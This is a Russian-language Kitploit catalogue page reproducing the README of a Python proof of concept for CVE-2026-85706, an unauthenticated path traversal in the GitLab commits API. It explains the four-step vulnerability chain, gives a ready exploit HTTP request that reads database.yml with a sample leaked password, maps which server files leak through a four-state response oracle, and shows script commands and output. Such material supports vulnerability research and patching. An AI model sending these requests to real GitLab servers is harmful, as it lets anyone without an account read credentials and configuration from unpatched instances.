Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-85706 — Python PoC для CVE-2026-85706 — неаутентифицированный обход пути в GitLab CE/EE Repository Commits API, позволяющий утечку произвольных локальных файлов через четырёхсостоянийный оракул. | Kitploit
Инструменты/GitHubGitHub/mhtsec/cve-2026-85706
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python PoC для CVE-2026-85706 — неаутентифицированный обход пути в GitLab CE/EE Repository Commits API, позволяющий утечку произвольных локальных файлов через четырёхсостоянийный оракул.

1232920 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-85706: неавторизованный обход пути в GitLab CE/EE

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Компонент: GitLab CE/EE Repository Commits API (вариант body-upload в Workhorse)
  • Затронуто: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Исправлено: 19.1.8 / 19.2.6 / 19.3.2 (критический патч выпущен 2026-09-10)
  • Опасность: обход пути для чтения произвольных локальных файлов на сервере без какой-либо учётной записи; возможность отражения содержимого зависит от целевого файла, что образует четырёхсостояниевый oracle (см. «Границы отражения»)

Цепочка уязвимости

API «создание commit» в GitLab (POST /api/v4/projects/:id/repository/commits) позволяет передать в одном запросе содержимое множества файлов. Чтобы избежать попадания слишком больших тел запросов напрямую в парсер Rails, Workhorse сначала сохраняет тело запроса на диск во временный файл, а затем внедряет метаданные file.path / file.size и т. п. в пересылаемый запрос, и endpoint Rails считывает файл по этим параметрам. Цепочка уязвимости складывается из четырёх звеньев:

  1. Аутентификация происходит после чтения файла: точка входа post ':id/repository/commits' содержит только require_gitlab_workhorse! (проверяет лишь «пересылку через Workhorse»), а настоящая authenticate! скрыта дальше в authorize_push_to_branch!, тогда как чтение с обходом пути происходит до неё.
  2. Метаданные сохранения на диск берутся из параметров запроса: file_params_from_body_upload напрямую принимает параметры запроса file.path / file.size / Content-Type за метаданные, внедрённые Workhorse, не различая источник параметров, и File.read(file_path) позволяет обойти путь к любому локальному файлу.
  3. Отражение ошибки парсинга Rack: при Content-Type=application/x-www-form-urlencoded содержимое файла передаётся на разбор в Rack::Utils.parse_nested_query; недопустимая %-последовательность в содержимом вызывает ArgumentError: invalid %-encoding (<содержимое компонента>), которое через bad_request! дословно отражается в ответ 400. Отражение работает по принципу «первый пришедший получает»: & / = являются границами компонентов, разбор прерывается на компоненте с первой недопустимой % и отражает этот компонент; при отсутствии разделителей весь файл отражается целиком как один компонент (корректные шестнадцатеричные escape-последовательности %xx ошибку не вызывают).
  4. Завершающий слэш обходит перезапись Workhorse: прямой запрос к основному endpoint попадает под перехват body-upload в Workhorse (строгое совпадение .../repository/commits\z), и подделанные параметры поглощаются в содержимое сохранённого на диск файла. Добавление / в конец URL нарушает это совпадение, и запрос попадает в резервный подписывающий обратный прокси — исходное тело запроса вместе с подделанными параметрами дословно пересылается в Rails с действительным JWT, require_gitlab_workhorse! проходит; Grape после нормализации завершающего слэша всё равно попадает в уязвимый handler.

Предварительное условие: :id в URL должен быть реально существующим проектом (подойдёт любой публичный проект), вход в систему на всём протяжении не требуется.

Эксплуатирующий запрос (database.yml при развёртывании с внешней БД; при наличии недопустимой %-последовательности в пароле отражается весь фрагмент):

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Ответ (отражается весь компонент, содержащий первую недопустимую %):

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Границы отражения (четырёхсостояниевый oracle)

Чтение выполняется от имени пользователя git процесса Puma, а ответ образует четырёхсостояниевый oracle:

ОтветЗначениеПример
400 local file not presentфайл не существует/etc/nonexistent
500 Internal Server Errorсуществует, но у пользователя git нет прав на чтение (необработанный Errno::EACCES); ошибки разбора читаемых файлов в ветке multipart также приводят к 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 Unauthorizedсуществует и доступен для чтения, но содержимое не содержит недопустимых %-последовательностей и не отражается/etc/passwd, /proc/self/environ
400 invalid %-encoding (<содержимое>)существует, доступен для чтения и содержит недопустимую %-последовательность — весь компонент отражаетсялоги с %, артефакты сборки CI, database.yml при внешней БД

Фактически доступный для чтения диапазон при развёртывании по умолчанию (проверено на практике):

  • Основная зона чтения содержимого — файлы, естественно содержащие %: логи и артефакты сборки CI, загруженные пользователями вложения, database.yml при развёртывании с внешней БД. В database.yml при аутентификации по умолчанию через локальный socket peer поле пароля пустое, значение появляется только при развёртывании с внешней БД.
  • gitlab.yml: в отрендеренных комментариях шаблона уже в начале файла (примерно строка 19) присутствуют последовательности вроде 95%, %{key}, тогда как конфигурация учётных данных (incoming_email, LDAP, объектное хранилище и т. д.) находится после строки 170 — принцип «первый пришедший получает» означает, что при развёртывании по умолчанию отражается только головной фрагмент, а фрагмент с учётными данными прочитать нельзя; он читается лишь в вариантах развёртывания без мешающих последовательностей (пользовательские шаблоны и т. п.). Отдельно отметим, что пароль SMTP (gitlab_rails['smtp_password']) не рендерится в gitlab.yml; фактически туда рендерятся учётные данные incoming_email, LDAP, object_store.
  • secrets.yml состоит из чистого hex без %, содержимое прочитать нельзя (401); gitlab.rb, приватные ключи TLS, архивы резервных копий доступны только root (лишь oracle 500).
  • Сам четырёхсостояниевый oracle также является примитивом разведки: зондирование внутренней структуры путей, самопросмотр процессов через /proc/self/*, вычисление путей @hashed по ID проекта для зондирования существования приватных проектов.

Использование скрипта

Реализация на стандартной библиотеке Python 3, без сторонних зависимостей. Скрипт автоматически интерпретирует четырёхсостояниевый результат согласно таблице выше.

python3 exploit.py -t http://<target>:<port>        # по умолчанию читает gitlab.yml (быстрая проверка отражения)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
ПараметрОписание
-tАдрес целевого GitLab (обязательный), например http://<target>:<port>
-fАбсолютный путь для чтения (по умолчанию /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
-pID проекта, подойдёт любой реально существующий проект (по умолчанию 1)
-oСохранить прочитанное содержимое в локальный файл

Пример вывода (чтение gitlab.yml при развёртывании по умолчанию — отражается головной фрагмент, а не фрагмент с учётными данными):

============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Только для авторизованного тестирования безопасности и исследования уязвимостей.

Скачать инструмент